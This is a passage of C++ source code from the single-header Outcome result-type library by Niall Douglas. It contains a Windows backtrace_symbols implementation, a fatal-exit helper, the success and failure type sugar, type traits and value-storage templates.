#pragma warning(disable : 6385 6386) // MSVC static analyser can't grok this function. clang's analyser gives it thumbs up.
#endif
_Check_return_ _Ret_writes_maybenull_(len) char **backtrace_symbols(_In_reads_(len) void *const *bt, _In_ size_t len)
{
#if defined(__cplusplus) && !defined(__clang__)
using win32::WideCharToMultiByte;
#endif
size_t bytes = (len + 1) * sizeof(void *) + 256, n;
if(!len)
return NULL;
else
{
char **ret = (char **) malloc(bytes);
char *p = (char *) (ret + len + 1), *end = (char *) ret + bytes;
if(!ret)
return NULL;
for(n = 0; n < len + 1; n++)
ret[n] = NULL;
load_dbghelp();
for(n = 0; n < len; n++)
{
unsigned long displ;
IMAGEHLP_LINE64 ihl;
memset(&ihl, 0, sizeof(ihl));
ihl.SizeOfStruct = sizeof(IMAGEHLP_LINE64);
int please_realloc = 0;
if(!bt[n])
{
ret[n] = NULL;
}
else
{
// Keep offset till later
ret[n] = (char *) ((char *) p - (char *) ret);
if(!SymGetLineFromAddr64 || !SymGetLineFromAddr64((void *) (size_t) -1 /*GetCurrentProcess()*/, (size_t) bt[n], &displ, &ihl))
{
if(n == 0)
{
free(ret);
return NULL;
}
ihl.FileName = (wchar_t *) L"unknown";
ihl.LineNumber = 0;
}
retry:
if(please_realloc)
{
char **temp = (char **) realloc(ret, bytes + 256);
if(!temp)
{
free(ret);
return NULL;
}
p = (char *) temp + (p - (char *) ret);
ret = temp;
bytes += 256;
end = (char *) ret + bytes;
}
if(ihl.FileName && ihl.FileName[0])
{
int plen = WideCharToMultiByte(65001 /*CP_UTF8*/, 0, ihl.FileName, -1, p, (int) (end - p), NULL, NULL);
if(!plen)
{
please_realloc = 1;
goto retry;
}
p[plen - 1] = 0;
p += plen - 1;
}
else
{
if(end - p < 16)
{
please_realloc = 1;
goto retry;
}
_ui64toa_s((size_t) bt[n], p, end - p, 16);
p = strchr(p, 0);
}
if(end - p < 16)
{
please_realloc = 1;
goto retry;
}
*p++ = ':';
_itoa_s(ihl.LineNumber, p, end - p, 10);
p = strchr(p, 0) + 1;
}
}
for(n = 0; n < len; n++)
{
if(ret[n])
ret[n] = (char *) ret + (size_t) ret[n];
}
return ret;
}
}
#ifdef _MSC_VER
#pragma warning(pop)
#endif
// extern void backtrace_symbols_fd(void *const *bt, size_t len, int fd);
#ifdef __cplusplus
}
#endif
#undef QUICKCPPLIB_INCLUDED_BY_HEADER
#endif
#endif
#endif
#else
#include <execinfo.h>
#endif
#endif // OUTCOME_DISABLE_EXECINFO
#include <cstdio>
#include <cstdlib>
OUTCOME_V2_NAMESPACE_BEGIN
namespace detail
{
QUICKCPPLIB_NORETURN inline void do_fatal_exit(const char *expr)
{
#if !defined(OUTCOME_DISABLE_EXECINFO)
void *bt[16];
size_t btlen = backtrace(bt, sizeof(bt) / sizeof(bt[0])); // NOLINT
#endif
fprintf(stderr, "FATAL: Outcome throws exception %s with exceptions disabled\n", expr); // NOLINT
#if !defined(OUTCOME_DISABLE_EXECINFO)
char **bts = backtrace_symbols(bt, btlen); // NOLINT
if(bts != nullptr)
{
for(size_t n = 0; n < btlen; n++)
{
fprintf(stderr, " %s\n", bts[n]); // NOLINT
}
free(bts); // NOLINT
}
#endif
abort();
}
} // namespace detail
OUTCOME_V2_NAMESPACE_END
#define OUTCOME_THROW_EXCEPTION(expr) OUTCOME_V2_NAMESPACE::detail::do_fatal_exit(#expr), (void) (expr)
#endif
#endif
#ifndef BOOST_OUTCOME_AUTO_TEST_CASE
#define BOOST_OUTCOME_AUTO_TEST_CASE(a, b) BOOST_AUTO_TEST_CASE(a, b)
#endif
#endif
/* A very simple result type
(C) 2017 Niall Douglas <http://www.nedproductions.biz/> (59 commits)
File Created: June 2017
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License in the accompanying file
Licence.txt or at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Distributed under the Boost Software License, Version 1.0.
(See accompanying file Licence.txt or copy at
http://www.boost.org/LICENSE_1_0.txt)
*/
#ifndef OUTCOME_BASIC_RESULT_HPP
#define OUTCOME_BASIC_RESULT_HPP
/* Says how to convert value, error and exception types
(C) 2017 Niall Douglas <http://www.nedproductions.biz/> (59 commits)
File Created: Nov 2017
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License in the accompanying file
Licence.txt or at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Distributed under the Boost Software License, Version 1.0.
(See accompanying file Licence.txt or copy at
http://www.boost.org/LICENSE_1_0.txt)
*/
#ifndef OUTCOME_CONVERT_HPP
#define OUTCOME_CONVERT_HPP
/* Storage for a very simple basic_result type
(C) 2017 Niall Douglas <http://www.nedproductions.biz/> (59 commits)
File Created: Oct 2017
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License in the accompanying file
Licence.txt or at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Distributed under the Boost Software License, Version 1.0.
(See accompanying file Licence.txt or copy at
http://www.boost.org/LICENSE_1_0.txt)
*/
#ifndef OUTCOME_BASIC_RESULT_STORAGE_HPP
#define OUTCOME_BASIC_RESULT_STORAGE_HPP
/* Type sugar for success and failure
(C) 2017 Niall Douglas <http://www.nedproductions.biz/> (59 commits)
File Created: July 2017
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License in the accompanying file
Licence.txt or at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Distributed under the Boost Software License, Version 1.0.
(See accompanying file Licence.txt or copy at
http://www.boost.org/LICENSE_1_0.txt)
*/
#ifndef OUTCOME_SUCCESS_FAILURE_HPP
#define OUTCOME_SUCCESS_FAILURE_HPP
OUTCOME_V2_NAMESPACE_BEGIN
/*! AWAITING HUGO JSON CONVERSION TOOL
type definition template <class T> success_type. Potential doc page: `success_type<T>`
*/
template <class T> struct OUTCOME_NODISCARD success_type
{
using value_type = T;
private:
value_type _value;
public:
success_type() = default;
success_type(const success_type &) = default;
success_type(success_type &&) = default; // NOLINT
success_type &operator=(const success_type &) = default;
success_type &operator=(success_type &&) = default; // NOLINT
~success_type() = default;
OUTCOME_TEMPLATE(class U)
OUTCOME_TREQUIRES(OUTCOME_TPRED(!std::is_same<success_type, std::decay_t<U>>::value))
constexpr explicit success_type(U &&v)
: _value(static_cast<U &&>(v)) // NOLINT
{
}
constexpr value_type &value() & { return _value; }
constexpr const value_type &value() const & { return _value; }
constexpr value_type &&value() && { return static_cast<value_type &&>(_value); }
constexpr const value_type &&value() const && { return static_cast<value_type &&>(_value); }
};
template <> struct OUTCOME_NODISCARD success_type<void>
{
using value_type = void;
};
/*! Returns type sugar for implicitly constructing a `basic_result<T>` with a successful state,
default constructing `T` if necessary.
*/
inline constexpr success_type<void> success() noexcept
{
return success_type<void>{};
}
/*! Returns type sugar for implicitly constructing a `basic_result<T>` with a successful state.
\effects Copies or moves the successful state supplied into the returned type sugar.
*/
template <class T> inline constexpr success_type<std::decay_t<T>> success(T &&v)
{
return success_type<std::decay_t<T>>{static_cast<T &&>(v)};
}
/*! AWAITING HUGO JSON CONVERSION TOOL
type definition template <class EC, class E = void> failure_type. Potential doc page: `failure_type<EC, EP = void>`
*/
template <class EC, class E = void> struct OUTCOME_NODISCARD failure_type
{
using error_type = EC;
using exception_type = E;
private:
bool _have_error{}, _have_exception{};
error_type _error;
exception_type _exception;
struct error_init_tag
{
};
struct exception_init_tag
{
};
public:
failure_type() = default;
failure_type(const failure_type &) = default;
failure_type(failure_type &&) = default; // NOLINT
failure_type &operator=(const failure_type &) = default;
failure_type &operator=(failure_type &&) = default; // NOLINT
~failure_type() = default;
template <class U, class V>
constexpr explicit failure_type(U &&u, V &&v)
: _have_error(true)
, _have_exception(true)
, _error(static_cast<U &&>(u))
, _exception(static_cast<V &&>(v))
{
}
template <class U>
constexpr explicit failure_type(in_place_type_t<error_type> /*unused*/, U &&u, error_init_tag /*unused*/ = error_init_tag())
: _have_error(true)
, _error(static_cast<U &&>(u))
, _exception()
{
}
template <class U>
constexpr explicit failure_type(in_place_type_t<exception_type> /*unused*/, U &&u, exception_init_tag /*unused*/ = exception_init_tag())
: _have_exception(true)
, _error()
, _exception(static_cast<U &&>(u))
{
}
constexpr bool has_error() const { return _have_error; }
constexpr bool has_exception() const { return _have_exception; }
constexpr error_type &error() & { return _error; }
constexpr const error_type &error() const & { return _error; }
constexpr error_type &&error() && { return static_cast<error_type &&>(_error); }
constexpr const error_type &&error() const && { return static_cast<error_type &&>(_error); }
constexpr exception_type &exception() & { return _exception; }
constexpr const exception_type &exception() const & { return _exception; }
constexpr exception_type &&exception() && { return static_cast<exception_type &&>(_exception); }
constexpr const exception_type &&exception() const && { return static_cast<exception_type &&>(_exception); }
};
template <class EC> struct OUTCOME_NODISCARD failure_type<EC, void>
{
using error_type = EC;
using exception_type = void;
private:
error_type _error;
public:
failure_type() = default;
failure_type(const failure_type &) = default;
failure_type(failure_type &&) = default; // NOLINT
failure_type &operator=(const failure_type &) = default;
failure_type &operator=(failure_type &&) = default; // NOLINT
~failure_type() = default;
OUTCOME_TEMPLATE(class U)
OUTCOME_TREQUIRES(OUTCOME_TPRED(!std::is_same<failure_type, std::decay_t<U>>::value))
constexpr explicit failure_type(U &&u)
: _error(static_cast<U &&>(u)) // NOLINT
{
}
constexpr error_type &error() & { return _error; }
constexpr const error_type &error() const & { return _error; }
constexpr error_type &&error() && { return static_cast<error_type &&>(_error); }
constexpr const error_type &&error() const && { return static_cast<error_type &&>(_error); }
};
template <class E> struct OUTCOME_NODISCARD failure_type<void, E>
{
using error_type = void;
using exception_type = E;
private:
exception_type _exception;
public:
failure_type() = default;
failure_type(const failure_type &) = default;
failure_type(failure_type &&) = default; // NOLINT
failure_type &operator=(const failure_type &) = default;
failure_type &operator=(failure_type &&) = default; // NOLINT
~failure_type() = default;
OUTCOME_TEMPLATE(class V)
OUTCOME_TREQUIRES(OUTCOME_TPRED(!std::is_same<failure_type, std::decay_t<V>>::value))
constexpr explicit failure_type(V &&v)
: _exception(static_cast<V &&>(v)) // NOLINT
{
}
constexpr exception_type &exception() & { return _exception; }
constexpr const exception_type &exception() const & { return _exception; }
constexpr exception_type &&exception() && { return static_cast<exception_type &&>(_exception); }
constexpr const exception_type &&exception() const && { return static_cast<exception_type &&>(_exception); }
};
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
template <class EC> inline constexpr failure_type<std::decay_t<EC>> failure(EC &&v)
{
return failure_type<std::decay_t<EC>>{static_cast<EC &&>(v)};
}
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
template <class EC, class E> inline constexpr failure_type<std::decay_t<EC>, std::decay_t<E>> failure(EC &&v, E &&w)
{
return failure_type<std::decay_t<EC>, std::decay_t<E>>{static_cast<EC &&>(v), static_cast<E &&>(w)};
}
namespace detail
{
template <class T> struct is_success_type
{
static constexpr bool value = false;
};
template <class T> struct is_success_type<success_type<T>>
{
static constexpr bool value = true;
};
template <class T> struct is_failure_type
{
static constexpr bool value = false;
};
template <class EC, class E> struct is_failure_type<failure_type<EC, E>>
{
static constexpr bool value = true;
};
} // namespace detail
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
template <class T> static constexpr bool is_success_type = detail::is_success_type<std::decay_t<T>>::value;
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
template <class T> static constexpr bool is_failure_type = detail::is_failure_type<std::decay_t<T>>::value;
OUTCOME_V2_NAMESPACE_END
#endif
/* Traits for Outcome
(C) 2018 Niall Douglas <http://www.nedproductions.biz/> (59 commits)
File Created: March 2018
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License in the accompanying file
Licence.txt or at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Distributed under the Boost Software License, Version 1.0.
(See accompanying file Licence.txt or copy at
http://www.boost.org/LICENSE_1_0.txt)
*/
#ifndef OUTCOME_TRAIT_HPP
#define OUTCOME_TRAIT_HPP
OUTCOME_V2_NAMESPACE_BEGIN
namespace trait
{
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
template <class R> //
static constexpr bool type_can_be_used_in_basic_result = //
(!std::is_reference<R>::value //
&& !OUTCOME_V2_NAMESPACE::detail::is_in_place_type_t<std::decay_t<R>>::value //
&& !is_success_type<R> //
&& !is_failure_type<R> //
&& !std::is_array<R>::value //
&& (std::is_void<R>::value || (std::is_object<R>::value //
&& std::is_destructible<R>::value)) //
);
/*! AWAITING HUGO JSON CONVERSION TOOL
type definition is_error_type. Potential doc page: NOT FOUND
*/
template <class E> struct is_error_type
{
static constexpr bool value = false;
};
/*! AWAITING HUGO JSON CONVERSION TOOL
type definition is_error_type_enum. Potential doc page: NOT FOUND
*/
template <class E, class Enum> struct is_error_type_enum
{
static constexpr bool value = false;
};
namespace detail
{
template <class T> using devoid = OUTCOME_V2_NAMESPACE::detail::devoid<T>;
template <class T> std::add_rvalue_reference_t<devoid<T>> declval() noexcept;
// From http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2015/n4436.pdf
namespace detector_impl
{
template <class...> using void_t = void;
template <class Default, class, template <class...> class Op, class... Args> struct detector
{
static constexpr bool value = false;
using type = Default;
};
template <class Default, template <class...> class Op, class... Args> struct detector<Default, void_t<Op<Args...>>, Op, Args...>
{
static constexpr bool value = true;
using type = Op<Args...>;
};
} // namespace detector_impl
template <template <class...> class Op, class... Args> using is_detected = detector_impl::detector<void, void, Op, Args...>;
template <class Arg> using result_of_make_error_code = decltype(make_error_code(declval<Arg>()));
template <class Arg> using introspect_make_error_code = is_detected<result_of_make_error_code, Arg>;
template <class Arg> using result_of_make_exception_ptr = decltype(make_exception_ptr(declval<Arg>()));
template <class Arg> using introspect_make_exception_ptr = is_detected<result_of_make_exception_ptr, Arg>;
template <class T> struct _is_error_code_available
{
static constexpr bool value = detail::introspect_make_error_code<T>::value;
};
template <class T> struct _is_exception_ptr_available
{
static constexpr bool value = detail::introspect_make_exception_ptr<T>::value;
};
} // namespace detail
/*! AWAITING HUGO JSON CONVERSION TOOL
type definition is_error_code_available. Potential doc page: NOT FOUND
*/
template <class T> struct is_error_code_available
{
static constexpr bool value = detail::_is_error_code_available<std::decay_t<T>>::value;
};
template <class T> constexpr bool is_error_code_available_v = detail::_is_error_code_available<std::decay_t<T>>::value;
/*! AWAITING HUGO JSON CONVERSION TOOL
type definition is_exception_ptr_available. Potential doc page: NOT FOUND
*/
template <class T> struct is_exception_ptr_available
{
static constexpr bool value = detail::_is_exception_ptr_available<std::decay<T>>::value;
};
template <class T> constexpr bool is_exception_ptr_available_v = detail::_is_exception_ptr_available<std::decay<T>>::value;
} // namespace trait
OUTCOME_V2_NAMESPACE_END
#endif
/* Essentially an internal optional implementation :)
(C) 2017 Niall Douglas <http://www.nedproductions.biz/> (59 commits)
File Created: June 2017
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License in the accompanying file
Licence.txt or at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Distributed under the Boost Software License, Version 1.0.
(See accompanying file Licence.txt or copy at
http://www.boost.org/LICENSE_1_0.txt)
*/
#ifndef OUTCOME_VALUE_STORAGE_HPP
#define OUTCOME_VALUE_STORAGE_HPP
OUTCOME_V2_NAMESPACE_BEGIN
namespace detail
{
using status_bitfield_type = uint32_t;
// WARNING: These bits are not tracked by abi-dumper, but changing them will break ABI!
static constexpr status_bitfield_type status_have_value = (1U << 0U);
static constexpr status_bitfield_type status_have_error = (1U << 1U);
static constexpr status_bitfield_type status_have_exception = (1U << 2U);
static constexpr status_bitfield_type status_error_is_errno = (1U << 4U); // can errno be set from this error?
// bit 7 unused
// bits 8-15 unused
// bits 16-31 used for user supplied 16 bit value
static constexpr status_bitfield_type status_2byte_shift = 16;
static constexpr status_bitfield_type status_2byte_mask = (0xffffU << status_2byte_shift);
// Used if T is trivial
template <class T> struct value_storage_trivial
{
using value_type = T;
union {
empty_type _empty;
devoid<T> _value;
};
status_bitfield_type _status{0};
constexpr value_storage_trivial() noexcept : _empty{} {}
// Special from-void catchall constructor, always constructs default T irrespective of whether void is valued or not (can do no better if T cannot be copied)
struct disable_void_catchall
{
};
using void_value_storage_trivial = std::conditional_t<std::is_void<T>::value, disable_void_catchall, value_storage_trivial<void>>;
explicit constexpr value_storage_trivial(const void_value_storage_trivial &o) noexcept(std::is_nothrow_default_constructible<value_type>::value)
: _value()
, _status(o._status)
{
}
value_storage_trivial(const value_storage_trivial &) = default; // NOLINT
value_storage_trivial(value_storage_trivial &&) = default; // NOLINT
value_storage_trivial &operator=(const value_storage_trivial &) = default; // NOLINT
value_storage_trivial &operator=(value_storage_trivial &&) = default; // NOLINT
~value_storage_trivial() = default;
constexpr explicit value_storage_trivial(status_bitfield_type status)
: _empty()
, _status(status)
{
}
template <class... Args>
constexpr explicit value_storage_trivial(in_place_type_t<value_type> /*unused*/, Args &&... args) noexcept(std::is_nothrow_constructible<value_type, Args...>::value)
: _value(static_cast<Args &&>(args)...)
, _status(status_have_value)
{
}
template <class U, class... Args>
constexpr value_storage_trivial(in_place_type_t<value_type> /*unused*/, std::initializer_list<U> il, Args &&... args) noexcept(std::is_nothrow_constructible<value_type, std::initializer_list<U>, Args...>::value)
: _value(il, static_cast<Args &&>(args)...)
, _status(status_have_value)
{
}
template <class U> static constexpr bool enable_converting_constructor = !std::is_same<std::decay_t<U>, value_type>::value && std::is_constructible<value_type, U>::value;
OUTCOME_TEMPLATE(class U)
OUTCOME_TREQUIRES(OUTCOME_TPRED(enable_converting_constructor<U>))
constexpr explicit value_storage_trivial(const value_storage_trivial<U> &o) noexcept(std::is_nothrow_constructible<value_type, U>::value)
: value_storage_trivial(((o._status & status_have_value) != 0) ? value_storage_trivial(in_place_type<value_type>, o._value) : value_storage_trivial()) // NOLINT
{
_status = o._status;
}
OUTCOME_TEMPLATE(class U)
OUTCOME_TREQUIRES(OUTCOME_TPRED(enable_converting_constructor<U>))
constexpr explicit value_storage_trivial(value_storage_trivial<U> &&o) noexcept(std::is_nothrow_constructible<value_type, U>::value)
: value_storage_trivial(((o._status & status_have_value) != 0) ? value_storage_trivial(in_place_type<value_type>, static_cast<U &&>(o._value)) : value_storage_trivial()) // NOLINT
{
_status = o._status;
}
constexpr void swap(value_storage_trivial &o) noexcept
{
// storage is trivial, so just use assignment
auto temp = static_cast<value_storage_trivial &&>(*this);
*this = static_cast<value_storage_trivial &&>(o);
o = static_cast<value_storage_trivial &&>(temp);
}
};
// Used if T is non-trivial
template <class T> struct value_storage_nontrivial
{
using value_type = T;
union {
empty_type _empty;
value_type _value;
};
status_bitfield_type _status{0};
value_storage_nontrivial() noexcept : _empty{} {}
value_storage_nontrivial &operator=(const value_storage_nontrivial &) = default; // if reaches here, copy assignment is trivial
value_storage_nontrivial &operator=(value_storage_nontrivial &&) = default; // NOLINT if reaches here, move assignment is trivial
value_storage_nontrivial(value_storage_nontrivial &&o) noexcept(std::is_nothrow_move_constructible<value_type>::value) // NOLINT
: _status(o._status)
{
if(this->_status & status_have_value)
{
this->_status &= ~status_have_value;
new(&_value) value_type(static_cast<value_type &&>(o._value)); // NOLINT
_status = o._status;
}
}
value_storage_nontrivial(const value_storage_nontrivial &o) noexcept(std::is_nothrow_copy_constructible<value_type>::value)
: _status(o._status)
{
if(this->_status & status_have_value)
{
this->_status &= ~status_have_value;
new(&_value) value_type(o._value); // NOLINT
_status = o._status;
}
}
// Special from-void constructor, constructs default T if void valued
explicit value_storage_nontrivial(const value_storage_trivial<void> &o) noexcept(std::is_nothrow_default_constructible<value_type>::value)
: _status(o._status)
{
if(this->_status & status_have_value)
{
this->_status &= ~status_have_value;
new(&_value) value_type; // NOLINT
_status = o._status;
}
}
explicit value_storage_nontrivial(status_bitfield_type status)
: _empty()
, _status(status)
{
}
template <class... Args>
explicit value_storage_nontrivial(in_place_type_t<value_type> /*unused*/, Args &&... args) noexcept(std::is_nothrow_constructible<value_type, Args...>::value)
: _value(static_cast<Args &&>(args)...) // NOLINT
, _status(status_have_value)
{
}
template <class U, class... Args>
value_storage_nontrivial(in_place_type_t<value_type> /*unused*/, std::initializer_list<U> il, Args &&... args) noexcept(std::is_nothrow_constructible<value_type, std::initializer_list<U>, Args...>::value)
: _value(il, static_cast<Args &&>(args)...)
, _status(status_have_value)
{
}
template <class U> static constexpr bool enable_converting_constructor = !std::is_same<std::decay_t<U>, value_type>::value && std::is_constructible<value_type, U>::value;
OUTCOME_TEMPLATE(class U)
OUTCOME_TREQUIRES(OUTCOME_TPRED(enable_converting_constructor<U>))
constexpr explicit value_storage_nontrivial(const value_storage_nontrivial<U> &o) noexcept(std::is_nothrow_constructible<value_type, U>::value)
: value_storage_nontrivial((o._status & status_have_value) != 0 ? value_storage_nontrivial(in_place_type<value_type>, o._value) : value_storage_nontrivial())
{
_status = o._status;
}
OUTCOME_TEMPLATE(class U)
OUTCOME_TREQUIRES(OUTCOME_TPRED(enable_converting_constructor<U>))
constexpr explicit value_storage_nontrivial(const value_storage_trivial<U> &o) noexcept(std::is_nothrow_constructible<value_type, U>::value)
: value_storage_nontrivial((o._status & status_have_value) != 0 ? value_storage_nontrivial(in_place_type<value_type>, o._value) : value_storage_nontrivial())
{
_status = o._status;
}
OUTCOME_TEMPLATE(class U)
OUTCOME_TREQUIRES(OUTCOME_TPRED(enable_converting_constructor<U>))
constexpr explicit value_storage_nontrivial(value_storage_nontrivial<U> &&o) noexcept(std::is_nothrow_constructible<value_type, U>::value)
: value_storage_nontrivial((o._status & status_have_value) != 0 ? value_storage_nontrivial(in_place_type<value_type>, static_cast<U &&>(o._value)) : value_storage_nontrivial())
{
_status = o._status;
}
OUTCOME_TEMPLATE(class U)
OUTCOME_TREQUIRES(OUTCOME_TPRED(enable_converting_constructor<U>))
constexpr explicit value_storage_nontrivial(value_storage_trivial<U> &&o) noexcept(std::is_nothrow_constructible<value_type, U>::value)
: value_storage_nontrivial((o._status & status_have_value) != 0 ? value_storage_nontrivial(in_place_type<value_type>, static_cast<U &&>(o._value)) : value_storage_nontrivial())
{
_status = o._status;
}
~value_storage_nontrivial() noexcept(std::is_nothrow_destructible<T>::value)
{
if(this->_status & status_have_value)
{
this->_value.~value_type(); // NOLINT
this->_status &= ~status_have_value;
}
}
constexpr void swap(value_storage_nontrivial &o) noexcept(detail::is_nothrow_swappable<value_type>::value &&std::is_nothrow_move_constructible<value_type>::value)
{
using std::swap;
if((_status & status_have_value) == 0 && (o._status & status_have_value) == 0)
{
swap(_status, o._status);
return;
}
if((_status & status_have_value) != 0 && (o._status & status_have_value) != 0)
{
swap(_value, o._value); // NOLINT
swap(_status, o._status);
return;
}
// One must be empty and the other non-empty, so use move construction
if((_status & status_have_value) != 0)
{
// Move construct me into other
new(&o._value) value_type(static_cast<value_type &&>(_value)); // NOLINT
this->_value.~value_type(); // NOLINT
swap(_status, o._status);
}
else
{
// Move construct other into me
new(&_value) value_type(static_cast<value_type &&>(o._value)); // NOLINT
o._value.~value_type(); // NOLINT
swap(_status, o._status);
}
}
};
template <class Base> struct value_storage_delete_copy_constructor : Base // NOLINT
{
using Base::Base;
using value_type = typename Base::value_type;
value_storage_delete_copy_constructor() = default;
value_storage_delete_copy_constructor(const value_storage_delete_copy_constructor &) = delete;
value_storage_delete_copy_constructor(value_storage_delete_copy_constructor &&) = default; // NOLINT
};
template <class Base> struct value_storage_delete_copy_assignment : Base // NOLINT
{
using Base::Base;
using value_type = typename Base::value_type;
value_storage_delete_copy_assignment() = default;
value_storage_delete_copy_assignment(const value_storage_delete_copy_assignment &) = default;
value_storage_delete_copy_assignment(value_storage_delete_copy_assignment &&) = default; // NOLINT
value_storage_delete_copy_assignment &operator=(const value_storage_delete_copy_assignment &o) = delete;
value_storage_delete_copy_assignment &operator=(value_storage_delete_copy_assignment &&o) = default; // NOLINT
};
template <class Base> struct value_storage_delete_move_assignment : Base // NOLINT
{
using Base::Base;
using value_type = typename Base::value_type;
value_storage_delete_move_assignment() = default;
value_storage_delete_move_assignment(const value_storage_delete_move_assignment &) = default;
value_storage_delete_move_assignment(value_storage_delete_move_assignment &&) = default; // NOLINT
value_storage_delete_move_assignment &operator=(const value_storage_delete_move_assignment &o) = default;
value_storage_delete_move_assignment &operator=(value_storage_delete_move_assignment &&o) = delete;
};
template <class Base> struct value_storage_delete_move_constructor : Base // NOLINT
{
using Base::Base;
using value_type = typename Base::value_type;
value_storage_delete_move_constructor() = default;
value_storage_delete_move_constructor(const value_storage_delete_move_constructor &) = default;
value_storage_delete_move_constructor(value_storage_delete_move_constructor &&) = delete;
};
template <class Base> struct value_storage_nontrivial_move_assignment : Base // NOLINT
{
using Base::Base;
using value_type = typename Base::value_type;
value_storage_nontrivial_move_assignment() = default;
value_storage_nontrivial_move_assignment(const value_storage_nontrivial_move_assignment &) = default;
value_storage_nontrivial_move_assignment(value_storage_nontrivial_move_assignment &&) = default; // NOLINT
value_storage_nontrivial_move_assignment &operator=(const value_storage_nontrivial_move_assignment &o) = default;
value_storage_nontrivial_move_assignment &operator=(value_storage_nontrivial_move_assignment &&o) noexcept(std::is_nothrow_move_assignable<value_type>::value) // NOLINT
{
if((this->_status & status_have_value) != 0 && (o._status & status_have_value) != 0)
{
this->_value = static_cast<value_type &&>(o._value); // NOLINT
}
else if((this->_status & status_have_value) != 0 && (o._status & status_have_value) == 0)
{
this->_value.~value_type(); // NOLINT
}
else if((this->_status & status_have_value) == 0 && (o._status & status_have_value) != 0)
{
new(&this->_value) value_type(static_cast<value_type &&>(o._value)); // NOLINT
}
this->_status = o._status;
return *this;
}
};
template <class Base> struct value_storage_nontrivial_copy_assignment : Base // NOLINT
{
using Base::Base;
using value_type = typename Base::value_type;
value_storage_nontrivial_copy_assignment() = default;
value_storage_nontrivial_copy_assignment(const value_storage_nontrivial_copy_assignment &) = default;
value_storage_nontrivial_copy_assignment(value_storage_nontrivial_copy_assignment &&) = default; // NOLINT
value_storage_nontrivial_copy_assignment &operator=(value_storage_nontrivial_copy_assignment &&o) = default; // NOLINT
value_storage_nontrivial_copy_assignment &operator=(const value_storage_nontrivial_copy_assignment &o) noexcept(std::is_nothrow_copy_assignable<value_type>::value)
{
if((this->_status & status_have_value) != 0 && (o._status & status_have_value) != 0)
{
this->_value = o._value; // NOLINT
}
else if((this->_status & status_have_value) != 0 && (o._status & status_have_value) == 0)
{
this->_value.~value_type(); // NOLINT
}
else if((this->_status & status_have_value) == 0 && (o._status & status_have_value) != 0)
{
new(&this->_value) value_type(o._value); // NOLINT
}
this->_status = o._status;
return *this;
}
};
// We don't actually need all of std::is_trivial<>, std::is_trivially_copyable<> is sufficient
template <class T> using value_storage_select_trivality = std::conditional_t<std::is_trivially_copyable<devoid<T>>::value, value_storage_trivial<T>, value_storage_nontrivial<T>>;
template <class T> using value_storage_select_move_constructor = std::conditional_t<std::is_move_constructible<devoid<T>>::value, value_storage_select_trivality<T>, value_storage_delete_move_constructor<value_storage_select_trivality<T>>>;
template <class T> using value_storage_select_copy_constructor = std::conditional_t<std::is_copy_constructible<devoid<T>>::value, value_storage_select_move_constructor<T>, value_storage_delete_copy_constructor<value_storage_select_move_constructor<T>>>;
template <class T>
using value_storage_select_move_assignment = std::conditional_t<std::is_trivially_move_assignable<devoid<T>>::value, value_storage_select_copy_constructor<T>,
std::conditional_t<std::is_move_assignable<devoid<T>>::value, value_storage_nontrivial_move_assignment<value_storage_select_copy_constructor<T>>, value_storage_delete_copy_assignment<value_storage_select_copy_constructor<T>>>>;
template <class T>
using value_storage_select_copy_assignment = std::conditional_t<std::is_trivially_copy_assignable<devoid<T>>::value, value_storage_select_move_assignment<T>,
std::conditional_t<std::is_copy_assignable<devoid<T>>::value, value_storage_nontrivial_copy_assignment<value_storage_select_move_assignment<T>>, value_storage_delete_copy_assignment<value_storage_select_move_assignment<T>>>>;
template <class T> using value_storage_select_impl = value_storage_select_copy_assignment<T>;
#ifndef NDEBUG
// Check is trivial in all ways except default constructibility
// static_assert(std::is_trivial<value_storage_select_impl<int>>::value, "value_storage_select_impl<int> is not trivial!");
// static_assert(std::is_trivially_default_constructible<value_storage_select_impl<int>>::value, "value_storage_select_impl<int> is not trivially default constructible!");
static_assert(std::is_trivially_copyable<value_storage_select_impl<int>>::value, "value_storage_select_impl<int> is not trivially copyable!");
